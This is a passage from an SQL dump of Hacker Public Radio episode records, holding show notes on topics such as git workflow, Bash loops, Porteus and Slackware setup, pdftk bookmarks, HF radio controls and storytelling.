href=\"https://www.ebay.co.uk/itm/USB-3-0-to-SATA-Hard-Drive-Enclosure-Caddy-Case-For-2-5-Inch-HDD-SSD-External/282930148654?ssPageName=STRK%3AMEBIDX%3AIT&amp;_trksid=p2057872.m2749.l2648\">https://www.ebay.co.uk/itm/USB-3-0-to-SATA-Hard-Drive-Enclosure-Caddy-Case-For-2-5-Inch-HDD-SSD-External/282930148654?ssPageName=STRK%3AMEBIDX%3AIT&amp;_trksid=p2057872.m2749.l2648</a></p>\r\n<p>So after it arrived I plugged in one of the drives and tested it out. The first thing to notice is that SSD’s being 7mm in depth flop about a bit in the case but this is easily resolved by a bit of card under the drive to help it fit snug in the case and it does mean that the case will support the larger 9mm 2.5inch spinners if needed. I’ve not tested a larger older spinner but I suspect they will not fit as 9mm ones are very snug in the case.</p>\r\n<p>Anyway the drive was detected by the PC/Laptop and works flawlessly and as it is so quick to swap drives in the caddy means I can carry large data files and my music and video library when on the move with the advantage that it is less likely to be damaged if accidentally dropped or knocked off a surface, which is quite likely with a portable spinner HDD.</p>\r\n<p>I am very happy with this purchase and it has already become a regular part of my travelling tool kit/laptop bag.</p>\r\n',338,23,0,'CC-BY-SA','Computers, Tool Bag',0,0,1),
(2668,'2018-10-24','Explaining the controls on my Amateur HF Radio Part 3',1090,'In this episode I cover the Main / sub displays meter memory and band keys of the TS940S.','<ul>\r\n<li><p>Main display is a fluorescent display<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Vacuum_fluorescent_display\" class=\"uri\">https://en.wikipedia.org/wiki/Vacuum_fluorescent_display</a></p></li>\r\n<li><p>Hertz and Kilohertz<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Hertz\" class=\"uri\">https://en.wikipedia.org/wiki/Hertz</a></p></li>\r\n<li><p>Example of an old type tuning dial with moving needle display.<br />\r\n<img src=\"https://i.ytimg.com/vi/YBCuNkdP4M0/maxresdefault.jpg\" alt=\"https://i.ytimg.com/vi/YBCuNkdP4M0/maxresdefault.jpg\" /></p></li>\r\n<li><p>Example of AVO meter<br />\r\n<img src=\"https://www.richardsradios.co.uk/AVO/AVO8mk2.jpg\" alt=\"https://www.richardsradios.co.uk/AVO/AVO8mk2.jpg\" /></p></li>\r\n<li><p>Standing Wave Ration Scale<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Standing_wave_ratio\" class=\"uri\">https://en.wikipedia.org/wiki/Standing_wave_ratio</a></p></li>\r\n<li><p>Explanation of Auto Limiter Control (ALC)<br />\r\n<a href=\"https://www.robkalmeijer.nl/techniek/electronica/radiotechniek/hambladen/radcom/1995/07/page61/index.html\" class=\"uri\">https://www.robkalmeijer.nl/techniek/electronica/radiotechniek/hambladen/radcom/1995/07/page61/index.html</a></p></li>\r\n</ul>\r\n<h3 id=\"sub-display\">Sub Display</h3>\r\n<p>Used either to display the time or in graph mode gives a representation of the receiver bandwidth setting when using CW or SSB.</p>\r\n<h3 id=\"memories-and-band-keys\">Memories and band keys</h3>\r\n<p>Ten memory and band keys to switch either between ten stored memories or to switch between the ten pre-set amateur HF bands when in VFO mode. Up / Down step keys jumps in 1Mhz step.</p>\r\n<h3 id=\"antenna-tuner\">Antenna Tuner</h3>\r\n<p>I tried and failed to find a simple explanation of an antenna tuner it’s a complicated topic, I can at least have a go at explaining how to use a simple manual antenna tuner, hope this makes some sense.</p>\r\n<p>A typical manual Antenna Tuner has two rotatable knobs both interact with each other. The Tuner is used to match a badly tuned antenna to your transmitter. The Tuner is placed in-between the transmitter and antenna. To use it you typically hold down the transmit key while looking at the VSWR meter and rotating one knob at a time in turn repeating this operation until the minimum VSWR is achieved.</p>\r\n<p>If you really want to dive into more detail feel free to follow this link in wikipedia. <a href=\"https://en.wikipedia.org/wiki/Antenna_tuner\" class=\"uri\">https://en.wikipedia.org/wiki/Antenna_tuner</a></p>\r\n',201,43,1,'CC-BY-SA','HF, Ham, Amateur Radio',0,0,1),
(2674,'2018-11-01','Raspberry pi3 open media server',616,'JWP emails in this episode','<ul>\r\n<li>Use Gparted for the SD card</li>\r\n<li>Use <a href=\"https://etcher.io/\">Etcher</a> from Resin.Io</li>\r\n<li>Use the normal external hard drive file os.</li>\r\n</ul>\r\n',129,0,1,'CC-BY-SA','Raspberry Pi,open media,Etcher',0,0,1),
(2664,'2018-10-18','My git workflow',495,'In this episode I talk about the workflow I use to contribute to opensource project using git','<h2 id=\"my-git-workflow\">My git workflow</h2>\r\n<p>In this episode of HPR I present the workflow I use to contribute to opensource projects using git. I have no idea if this workflow is something that is commonly used, but it is working for me, so I thought I’d share it with the HPR community.</p>\r\n<p>The first thing I do is fork the project I want to contribute to. This is done on github most of the time, although this workflow can work on gitlab, bitbucket, or even some self hosted git platform.</p>\r\n<p>Once the project is forked, I clone it on my machine :</p>\r\n<pre><code>$ git clone git://server/path/to/myproject.git</code></pre>\r\n<p>Git automatically names my remote project <code>origin</code>.</p>\r\n<p>Then I add a reference to the original project :</p>\r\n<pre><code>$ git remote add upstream https://server/path/to/originalproject.git</code></pre>\r\n<p>Now my local repository references my fork under the name <code>origin</code> and the original project under the name <code>upstream</code>.</p>\r\n<p>In this workflow, I never work on the master branch. So, when I need to fix a bug for example, I create a new branch :</p>\r\n<pre><code>$ git checkout -b bugfix</code></pre>\r\n<p>I can then make changes, test my code, make sure everything is ok, stage and commit my changes :</p>\r\n<pre><code>$ git add .\r\n$ git commit -m &quot;commit message&quot;</code></pre>\r\n<p>Now I need to push this local branch to my repository on github :</p>\r\n<pre><code>$ git push -u origin bugfix</code></pre>\r\n<p>Since I forked the original project, github knows that <code>origin</code> and <code>upstream</code> are linked. If there are no conflicts, github will show me a big green button to create a pull request. Once the pull request is created, I just have to wait for the maintainer to merge it in <code>upstream</code>’s master branch. Then, I need to sync both my local copy and my fork on github with the original project. In order to do that, on my local copy, I checkout my master branch, fetch <code>upstream</code>’s changes, and merge them :</p>\r\n<pre><code>$ git checkout master\r\n$ git fetch upstream\r\n$ git merge upstream/master</code></pre>\r\n<p>Now my local master branch is ahead of <code>origin</code>’s master branch, so I push those changes to github :</p>\r\n<pre><code>$ git push</code></pre>\r\n<p>I don’t need the <code>bugfix</code> branches (the local one and the github one), so I can delete those :</p>\r\n<pre><code>$ git branch -d bugfix\r\n$ git push origin -d bugfix</code></pre>\r\n<p>And now, my local repository is even with both <code>origin</code> and <code>upstream</code>, and I can start again.</p>\r\n<p>To summarize, here’s the complete workflow :</p>\r\n<pre><code>$ git checkout -b myawesomefeature\r\n$ git add .\r\n$ git commit -m &quot;Awesome commit message&quot;\r\n$ git push -u origin myawesomefeature</code></pre>\r\n<p>Create a pull request, wait for the maintainer to merge it.</p>\r\n<pre><code>$ git checkout master\r\n$ git fetch upstream\r\n$ git merge upstream/master\r\n$ git push\r\n$ git branch -d myawesomefeature\r\n$ git push origin -d myawesomefeature</code></pre>\r\n',370,104,0,'CC-0','git,github,workflow',0,0,1),
(2689,'2018-11-22','Bash Tips - 14',1688,'More about loops - the \'for\' loop, \'break\' and \'continue\'','<h1 id=\"bash-tips---14\">Bash Tips - 14 <small><small>(Some auxiliary Bash tips)</small></small></h1>\r\n<h2 id=\"more-about-loops\">More about loops</h2>\r\n<p>This is the fourteenth episode covering useful tips about using Bash. Episodes 9-13 covered <em>Making Decisions in Bash</em> and in these episodes we looked at <code>while</code> and <code>until</code> loops, but not <code>for</code> loops. This episode is making good this deficiency, and is also looking at <code>break</code> and <code>continue</code> which are very useful when using loops.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2689/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Looping-Constructs\">“Bash Looping Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic\">“Bash Shell Arithmetic”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Brace-Expansion\">“Bash Brace Expansion”</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2689/bash14_ex1.sh\">bash14_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2689/bash14_ex2.sh\">bash14_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2689/bash14_ex3.sh\">bash14_ex3.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2689/bash14_ex4.sh\">bash14_ex4.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2689/bash14_ex5.sh\">bash14_ex5.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,loop,for,break,continue',0,0,1),
(2666,'2018-10-22','Slackware Post-Install',1826,'A quick and dirty guide to getting Slack up and running after it\'s installed.','<p>This episode started out as just some thoughts on why I decided to move back to Slackware after having been away from it for a few years, and wound up being a short set of notes on the post install configuration of Slackware 14.2</p>\r\n<p>This is by no means a definitive or exhaustive in its scope. It’s just a few thoughts and tips on the post-install process that might not be completely clear to a new user.</p>\r\n<ul>\r\n<li>Website - <a href=\"https://www.slackware.com/\" class=\"uri\">https://www.slackware.com/</a></li>\r\n<li>Slackware Install Guide - <a href=\"https://docs.slackware.com/slackware:install\" class=\"uri\">https://docs.slackware.com/slackware:install</a></li>\r\n<li>Slackware Post Install Beginner’s Guide - <a href=\"https://docs.slackware.com/slackware:beginners_guide\" class=\"uri\">https://docs.slackware.com/slackware:beginners_guide</a></li>\r\n<li>Wikipedia Slackware Page - <a href=\"https://en.wikipedia.org/wiki/Slackware\" class=\"uri\">https://en.wikipedia.org/wiki/Slackware</a></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Slackware, Slackware post-install',0,0,1),
(2671,'2018-10-29','Algae farming with Desearcher',2379,'Desearcher edumacates us all on the benefits of algae farming.','<p>Apologies for the sound quality. We recorded in a small apartment with only one mic. :-</p>\r\n<ul>\r\n<li><p>Wikipedia Articles - <a href=\"https://en.m.wikipedia.org/wiki/Nannochloropsis\" class=\"uri\">https://en.m.wikipedia.org/wiki/Nannochloropsis</a><br />\r\n<a href=\"https://en.m.wikipedia.org/wiki/Phytoplankton\" class=\"uri\">https://en.m.wikipedia.org/wiki/Phytoplankton</a></p></li>\r\n<li><p>Amazon - <a href=\"https://www.amazon.com/nannochloropsis/s?page=1&amp;rh=i%3Aaps%2Ck%3Anannochloropsis\">https://www.amazon.com/nannochloropsis/s?page=1&amp;rh=i%3Aaps%2Ck%3Anannochloropsis</a></p></li>\r\n<li><p>Algae Research Supply - <a href=\"https://algaeresearchsupply.com/pages/f-2-media\" class=\"uri\">https://algaeresearchsupply.com/pages/f-2-media</a></p></li>\r\n<li><p>Blogs - <a href=\"https://www.nannochloropsis.org/blog/\" class=\"uri\">https://www.nannochloropsis.org/blog/</a></p></li>\r\n<li><p>Album of Desearcher’s setup - <a href=\"https://imgur.com/a/Cwqd7m9\" class=\"uri\">https://imgur.com/a/Cwqd7m9</a></p></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Phytoplankton,algae,Nannochloropsis',0,0,1),
(2678,'2018-11-07','Explaining the controls on my Amateur HF Radio Part 4',984,'In this episode I cover the first four Receiver section controls of the TS940S','<h2 id=\"the-three-dual-function-controls-covered-are\">The three dual function controls covered are</h2>\r\n<h3 id=\"squelchnotch\">Squelch/Notch</h3>\r\n<ul>\r\n<li>(1A) Squelch <a href=\"https://en.wikipedia.org/wiki/Squelch\" class=\"uri\">https://en.wikipedia.org/wiki/Squelch</a></li>\r\n<li>(1B) Notch filter <a href=\"https://en.wikipedia.org/wiki/Band-stop_filter\" class=\"uri\">https://en.wikipedia.org/wiki/Band-stop_filter</a></li>\r\n</ul>\r\n<h3 id=\"pitchaf-tune\">Pitch/AF Tune</h3>\r\n<ul>\r\n<li><p>(2A) Pitch (From the Kenwood manual)<br />\r\nThe CW PITCH control is provided so that you may adjust the pitch or tone of the incoming CW signal so that the tone is pleasing to you. The TS-940S accomplishes this without shifting the actual transmitter or receiver frequency, by shifting the 100kHz IF frequency, just prior to Product detection.</p></li>\r\n<li><p>(2B) AF Tune (From the Kenwood manual)<br />\r\nThe AF TUNE circuit is just the opposite of the NOTCH circuit. With this control, it is possible to accentuate the desired signal by providing additional rejection of noise and interfering signals whose pitch (tone) falls outside the audio passband. Turn the AF TUNE switch ON and adjust the AF TUNE control to peak the desired signal.</p></li>\r\n</ul>\r\n<h3 id=\"ritxit\">RIT/XIT</h3>\r\n<ul>\r\n<li><p>(3A) RIT – Receiver incremental Tune<br />\r\nThe RIT control allows shifting the receive frequency without effecting the transmit frequency</p></li>\r\n<li><p>(3B) XIT – Transmitter incremental Tune<br />\r\nThe XIT control allows shifting the transmit frequency without effecting the receive frequency</p></li>\r\n</ul>',201,43,1,'CC-BY-SA','HF, Ham, Amateur Radio',0,0,1),
(2667,'2018-10-23','Create PDF bookmarks with Pdftk',1313,'Basic intro to a few pdftk functions','<p>\r\nPdftk is a command that lets you manipulate PDFs outside of a GUI PDF creation tool.\r\nThere are several GUI tools you can use to create PDFs with valid bookmarks and other fancy features, but pdftk is often more convenient.\r\n</p>\r\n\r\n<p>\r\nExtract pages 1 through 2, and pages 5-21, and page 261 from a big PDF into a new PDF:\r\n</p>\r\n<pre><code>\r\n$ pdftk big.pdf cat 1-2 5-21 261 output small.pdf\r\n</code></pre>\r\n\r\n<p>\r\nExtract bookmarks from original PDF:\r\n</p>\r\n\r\n<pre><code>\r\n$ pdftk big.pdf dump_data output book.mark\r\n</code></pre>\r\n\r\n<p>\r\nHere is what a bookmark file looks like:\r\n</p>\r\n\r\n<pre><code>\r\nInfoBegin\r\nInfoKey: ModDate\r\nInfoValue: D:20181010181951-05\'00\'\r\nInfoBegin\r\nInfoKey: CreationDate\r\nInfoValue: D:20181010181934-05\'00\'\r\nInfoBegin\r\nInfoKey: Creator\r\nInfoValue: pdftk (Linux)\r\nInfoBegin\r\nInfoKey: Producer\r\nInfoValue: pdftk 2.02-x86_64\r\nPdfID0: d8deadbeeff34211ba60d80fda7611da\r\nPdfID1: 39186170c6134566884b79c0ffee7d59\r\nNumberOfPages: 261\r\nBookmarkBegin\r\nBookmarkTitle: Cover\r\nBookmarkLevel: 1\r\nBookmarkPageNumber: 1\r\nBookmarkBegin\r\nBookmarkTitle: Credits\r\nBookmarkLevel: 1\r\nBookmarkPageNumber: 2\r\nBookmarkBegin\r\nBookmarkTitle: Chapter One\r\nBookmarkLevel: 1\r\nBookmarkPageNumber: 3\r\nBookmarkBegin\r\nBookmarkTitle: Foo Section\r\nBookmarkLevel: 2\r\nBookmarkPageNumber: 5\r\nBookmarkBegin\r\nBookmarkTitle: Bar Baz\r\nBookmarkLevel: 3\r\nBookmarkPageNumber: 7\r\nBookmarkBegin\r\nBookmarkTitle: Back cover\r\nBookmarkLevel: 1\r\nBookmarkPageNumber: 19\r\n</code></pre>\r\n\r\n<p>\r\nApply the bookmark data back to the PDF:\r\n</p>\r\n\r\n<pre><code>\r\n$ pdftk small.pdf update_info book.mark output final.pdf\r\n</code></pre>\r\n\r\n',78,0,0,'CC-BY-SA','pdf',0,0,1),
(2670,'2018-10-26','Character Arcs In Storytelling',893,'Lostnbronx looks character arcs, and their role in storytelling.','<p>Characters are intrinsic to stories of all types, and they often have journeys, referred to as arcs. What, exactly is the character arc? Does everybody in a tale have one? Do they even need one? How do arcs affect the plot, and vice-versa? Lostnbronx shares some off-the-cuff thoughts about this often misunderstood aspect of storytelling.</p>\r\n',107,105,0,'CC-BY-SA','stories,storytelling,character arcs,lostnbronx',0,0,1),
(2672,'2018-10-30','Porteus',3477,'Installing Porteus and the cool things you can do with thumbdrive installation','<p><a href=\"https://porteus.org\" target=\"_blank\">Porteus</a> is a portable Live Linux distro, based on Slackware, intended for use on thumbdrives or optical media.  It is, more or less, the new <a href=\"https://hackerpublicradio.org/eps.php?id=0055\" target=\"_blank\">Slax</a>, now that Slax has switched to Debian.</p>\r\n\r\n<h2>Install</h2>\r\n\r\n<p>The official means of installation is to burn Porteus to disc, and then (optionally) install Porteus onto a thumbdrive from within Porteus. To install Porteus to a thumbdrive, you need a thumbdrive with an EXT4 partition. You can try other filesystems and partition schemes, but EXT4 definitely works well.</p>\r\n<p>\r\nFrom either Porteus or Slackware (you can try other distros, but results <em>will</em> vary), you can do a manual install, and here are the correct commands (as of this writing, the docs on porteus.org are not accurate). Assuming you have discovered, using <code>lsblk</code>, that your target device (the thumbdrive) is <code>/dev/sdx</code>:\r\n</p>\r\n\r\n<pre><code>$ sudo bash\r\n# mkdir -p /mnt/loop /mnt/drive\r\n# mount --options loop /path/to/Porteus*iso /mnt/loop\r\n# mount /dev/sdx1 /mnt/drive\r\n# rsync -av /mnt/loop/ /mnt/drive/\r\n# cd /mnt/drive/boot\r\n# chmod +x Porteus-installer-for-Linux.com\r\n# ./Porteus*com\r\n</code></pre>\r\n\r\n<p>\r\nAlternately, you can use Porteus from a virtual machine and install to a thumbdrive, as long as your virtualisation software redirects USB. I have used <a href=\"https://virt-manager.org/\" target=\"_blank\">virt-manager</a> running on Fedora successfully for this.\r\n</p>\r\n\r\n<p>The other alternative, of course, is to run Porteus off of an optical disc. That means your system is unwritable, so nothing you do is persistent across reboots, but you can save your work to a thumbdrive. I\'ve worked with Slax this way before, and it\'s quite manageable.</p>\r\n\r\n<h2>Boot</h2>\r\n\r\n<p>\r\nBooting to Porteus depends a lot on the firmware of the computer you\'re booting. Almost every Linux distro in existence has accurate docs on the changes you may or may not need to make to your BIOS or [U]EFI in order to boot to Linux, so you can find more detail on this if you need. Here\'s some text I borrowed from Linux Mint:\r\n</p>\r\n\r\n<p> Insert your USB stick (or DVD) into the computer.</p>\r\n<p>Restart the computer.</p>\r\n<p>Before your computer boots your current operating system (Windows, Mac, Linux) you should see your BIOS or UEFI loading screen. Check the screen or your computer’s documentation to know which key to press and instruct your computer to boot on USB (or DVD). Most BIOS or UEFI have a special key you can press to select the boot device and all of them have a special key to enter a configuration screen (from which you can define the boot order). Depending on the firmware, these special keys can be Escape, F1, F2, F8, F10, F11, F12, or Delete. That information is usually briefly displayed on screen during the boot sequence.\r\n</p>\r\n<p>\r\nOn Macs, keep your finger pressed on the Alt or Option key after hearing the boot sound.\r\n</p>\r\n\r\n<h2>Boot modes</h2>\r\n\r\n<p>Porteus can boot to its default persistent modes: graphical or text. Both of these modes auto load any Porteus modules you\'ve installed and also read any changes you made since the previous boot.\r\n</p>\r\n<p>It can also boot to ephemeral modes: Copy to RAM and Always Fresh. These modes act as if you\'ve never booted into Porteus before, loading a completely fresh version of the file system. They also do not load Porteus modules automatically.</p>\r\n\r\n<h2>Installing software</h2>\r\n\r\n<p>Porteus modules are Slackware packages converted to .xzm files, a highly-compressed SquashFS filesystem. When a Porteus module is activated, the application and other files contained in the module appear in your environment. You can think of it as a layered filesystem.</p>\r\n\r\n<p>\r\nTo install software, you must sync up your package manager with upstream repositories:</p>\r\n\r\n<pre><code>$ sudo usm -u all\r\n</code></pre>\r\n\r\n<p>\r\nOnce everything is updated, you can search for packages using the <code>-k</code> (for keyword) option&#58;</p>\r\n\r\n<pre><code>$ sudo usm -k foo\r\n</code></pre>\r\n\r\n<p>\r\nAnd then install it&#58;</p>\r\n\r\n<pre><code>$ sudo usm -g foo\r\n</code></pre>\r\n\r\n<p>\r\nYou are prompted to either install or download the module. If you install it, then it becomes part of the filesystem. However, since changes to the filesystem are NOT read by the Copy to RAM or Always Fresh modes, this is probably not what you want. Instead, download the module so that you can have Porteus load it dynamically regardless of what mode you\'re running.</p>\r\n\r\n<p>\r\nModules are downloaded, by default, to /tmp/usm/ and then converted from their native format of .t?z to .xzm files. You can copy the .xzm files to an external device if you\'re running off of optical media, or into a persistent area on the thumbdrive running Porteus. Modules can be made permanently available in the /mnt/sdx1/porteus/modules or /mnt/sdx1/porteus/optianal directories.\r\n</p>\r\n\r\n<p>Modules in the ../modules path are loaded at boot in the Graphical and Text modes, and are available to load manually in the Copy to RAM and Always Fresh modes.</p><p>Modules in the ../optional path are never auto loaded.</p>\r\n\r\n<p>Modules can be activated or deactivated with this command&#58;</p>\r\n\r\n<pre><code>$ sudo activate foo\r\n</code></pre>\r\n\r\n<h2>Miscellany</h2>\r\n\r\n<p><a href=\"https://flatpak.org/\" target=\"_blank\">Flatpak</a> works on Porteus, too. I have found this to be convenient for applications like GIMP and Inkscape and Kdenlive and many others that are complex enough to warrant special attention.\r\n</p>\r\n\r\n<p>\r\nFlatpak does require the <code>glib-networking</code> package. You will not be warned about this, because all upstream Slackware repositories assume a full install of Slackware (and glib-networking is included on Slackware, but not on Porteus). Once you install glib-networking, you can use flatpak as described, for instance, on the GIMP downloads page.\r\n</p>\r\n\r\n<p>\r\nOver-customizing the \"hard-coded\" parts of Porteus is unwise. For instance, keep the default user (guest), don\'t try to change the UID (I tried and failed), and so on. Treat the system, more or less, as if though you were a guest on someone else\'s multi-user system. Install and customise stuff locally and through modules when possible. That\'s what Porteus expects, and things can break if you try to treat it too much like a traditional Linux system.\r\n</p>\r\n',78,0,0,'CC-BY-SA','porteus,slax,installation,howto,tutorial,usbdrive,thumbdrive',0,0,1),
(2673,'2018-10-31','Urandom - Ohio Linux Fest 2-18 Podcaster Roundtable',2043,'The Urandom crew gathers the podcasters at Ohio Linux Fest for a chat.','<p>Hosts: Lyle, Thaj, Kevin O’Brian (Ahuka), Tony Beamus, FiftyOneFifty</p>\r\n<ul>\r\n<li><a href=\"https://asciinema.org/\" class=\"uri\">https://asciinema.org/</a></li>\r\n<li>HPR saves lives</li>\r\n<li>Green scooters, but not on fire</li>\r\n<li>North Market <a href=\"https://www.northmarket.com/\" class=\"uri\">https://www.northmarket.com/</a></li>\r\n<li>LIKE SHARE SUBSCRIBE!</li>\r\n<li>Urandom <a href=\"https://urandom-podcast.info\" class=\"uri\">https://urandom-podcast.info</a></li>\r\n<li>SMLR <a href=\"https://smlr.us/\" class=\"uri\">https://smlr.us/</a></li>\r\n<li>LinuxLugcast <a href=\"https://www.linuxlugcast.com/\" class=\"uri\">https://www.linuxlugcast.com/</a></li>\r\n<li>HPR <a href=\"https://hackerpublicradio.org/\" class=\"uri\">https://hackerpublicradio.org/</a></li>\r\n</ul>\r\n<p>** Record Scratch audio sample <a href=\"https://freesound.org/people/luffy/sounds/3536/\" class=\"uri\">https://freesound.org/people/luffy/sounds/3536/</a></p>\r\n',270,0,1,'CC-BY-SA','Ohio Linux Fest,Urandom,Sunday Morning Linux Review,Linux Lug Cast',0,0,1),
(2677,'2018-11-06','Thoughts on language learning part 4 - RPG.',1090,'I ponder the idea of an RPG with players not speaking the same language.','<p>I thought I was done with this topic, but got to thinking about bringing a game to life it occurred to me it was a lot of work. So I thought about it some more and hit upon the idea of an RPG probably mostly played online where a key point of the game is that the players needn’t know the same language.</p>\r\n<p>At first this seems like an odd thing for an RPG because the talking to each other is sort of a requirement. By now you’ve guessed that what I mean is that the game could be designed so that it assumes the players will have limited ability to communicate. And that drives how the game progresses.</p>\r\n<p>I see two kinds of approaches. One is that players sort of team up by the their native languages so you might have people knowing different native languages working in smaller teams while the whole game has the goal of everyone learning the new language.</p>\r\n<p>The other is that everyone could know a different native language and many or may nor cooperate with others but the goal of the game is everyone learning the same new language.</p>\r\n<p>Submitting this show mostly because I’m curious what the community thinks of the idea.</p>\r\n',151,0,1,'CC-0','spoken language learning',0,0,1),
(2681,'2018-11-12','DerbyCon Interview - Hackers for Charity',273,'Xoke interviews the amazing Hackers for Charity people','<p><a href=\"https://www.hackersforcharity.org/\" class=\"uri\">https://www.hackersforcharity.org/</a></p>',79,78,0,'CC-0','DerbyCon, Charity, Interview',0,0,1),
(2684,'2018-11-15','Making a remote control visible',77,'Yet another amazing life hack !!!','<h2>The problem</h2>\r\n<p>\r\nA black remote control on a black couch.\r\n</p>\r\n<h2>The solution</h2>\r\n<p>\r\nCover it in Earth <a href=\"https://en.wikipedia.org/wiki/Electrical_tape\">Insulating Tape</a>.\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2684_front.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2684_front_small.jpg\" alt=\"Remote control front\"/>\r\n</a>\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2684_back.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2684_back_small.jpg\" alt=\"Remote control rear\"/>\r\n</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Electrical_tape\">https://en.wikipedia.org/wiki/Electrical_tape</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','Life hacks',0,0,1),
(2680,'2018-11-09','Some Additional Talk About Characters -- 01',746,'Lostnbronx takes a look at what sorts of characters work best for certain types of tales. Part 01.','<p>Some characters are simple, some are complex, and some are entirely unknowable. What sorts of characters work best for grand, sweeping good vs. evil tales? Which types work best for simple character dramas? And how do characters interact with the setting and story? Lostnbronx offers some off-the-cuff observations.</p>\r\n',107,105,0,'CC-0','stories,storytelling,characters,lostnbronx',0,0,1),
(2682,'2018-11-13','(NOT) All About Blender',2753,'A meandering conversation to sooth the nerves, and warm the soul.','<p>The first part of what began a serious attempt to sit down and discuss Blender, a free and open-source piece of awesome, that slowly (rapidly) devolved into a meandering discussion. Mostly about video games.</p>\r\n<ul>\r\n<li><a href=\"https://openmw.org/en/\" class=\"uri\">https://openmw.org/en/</a></li>\r\n<li><a href=\"https://www.blender.org/\" class=\"uri\">https://www.blender.org/</a></li>\r\n<li><a href=\"https://www.blender.org/support/tutorials/\" class=\"uri\">https://www.blender.org/support/tutorials/</a></li>\r\n<li><a href=\"https://danielpocock.com/quick-start-blender-video-editing\" class=\"uri\">https://danielpocock.com/quick-start-blender-video-editing</a></li>\r\n<li><a href=\"https://m.youtube.com/user/BlenderFoundation\" class=\"uri\">https://m.youtube.com/user/BlenderFoundation</a></li>\r\n<li><a href=\"https://m.youtube.com/watch?v=_lGfeS050Xw\" class=\"uri\">https://m.youtube.com/watch?v=_lGfeS050Xw</a></li>\r\n<li><a href=\"https://zombiemud.org/\" class=\"uri\">https://zombiemud.org/</a></li>\r\n</ul>\r\n<h3 id=\"bloodpong\">BloodPong</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=GHrg48sa4ZA\" class=\"uri\">https://www.youtube.com/watch?v=GHrg48sa4ZA</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=vqZQFbKxkxg\" class=\"uri\">https://www.youtube.com/watch?v=vqZQFbKxkxg</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=VCYrErmTIjA\" class=\"uri\">https://www.youtube.com/watch?v=VCYrErmTIjA</a></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Blender',0,0,1),
